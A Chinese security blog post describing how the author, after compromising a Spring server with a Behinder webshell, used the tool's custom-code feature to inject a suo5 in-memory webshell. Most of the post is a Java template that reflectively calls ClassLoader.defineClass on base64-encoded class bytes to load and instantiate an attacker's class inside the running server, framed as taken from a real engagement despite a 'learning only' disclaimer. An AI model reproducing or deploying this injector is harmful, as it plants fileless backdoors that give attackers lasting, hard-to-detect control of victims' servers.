[技术分享]冰蝎自定义代码注入内存马

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本博客所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

一次实战中,spring 环境,通过代码执行漏洞打入了冰蝎内存马,但是发现之后漏洞接口被打环了,执行不成功,并且目标不出网,这时候就想到了通过冰蝎的自定义代码功能注入 suo5 内存马。

自定义代码注入

点击冰蝎自定义代码功能,可以看到已经有了示例的代码,这个代码功能就是输出 hello world。

ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
so.write("hello world".getBytes("UTF-8"));
so.flush();
so.close();

fillContext 方法是用来设置 Request、Response、Session 的。

我们只要在equals函数中嵌入注入内存马的代码就行了,可以参考如下链接通过反射类加载字节码来注入内存马。

[java学习]反射类加载字节码

jdk 版本可以在冰蝎的基本信息中看到,jdk 版本过高的话需要更改反射类加载字节码的代码。

参考代码

高版本 jdk 不适用。

import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import java.util.Base64;


public class Test {

    private Object Request;
    private Object Response;
    private Object Session;


    @Override
    public boolean equals(Object obj) {

        try {
            fillContext(obj);
            String evilClassBase64 = "{{base64ClassBytes}}";
            byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            method.setAccessible(true);
            Class ccc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "{{className}}", bytes, new Integer(0), new Integer(bytes.length));
            ccc.newInstance();
            ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
            so.write("inject success".getBytes("UTF-8"));
            so.flush();
            so.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return true;
    }



    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getDeclaredMethod("getRequest", new Class[] {}).invoke(obj);
            this.Response = obj.getClass().getDeclaredMethod("getResponse", new Class[] {}).invoke(obj);
            this.Session = obj.getClass().getDeclaredMethod("getSession", new Class[] {}).invoke(obj);

        } else {
            Map<String, Object> objMap = (Map<String, Object>) obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }
        Response.getClass().getDeclaredMethod("setCharacterEncoding", new Class[] { String.class }).invoke(Response, "UTF-8");

    }
}
上一篇: [代码审计]宏*HCM最新文件上传漏洞分析复现
下一篇: [技术分享]记一次实战中的权限绕过
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值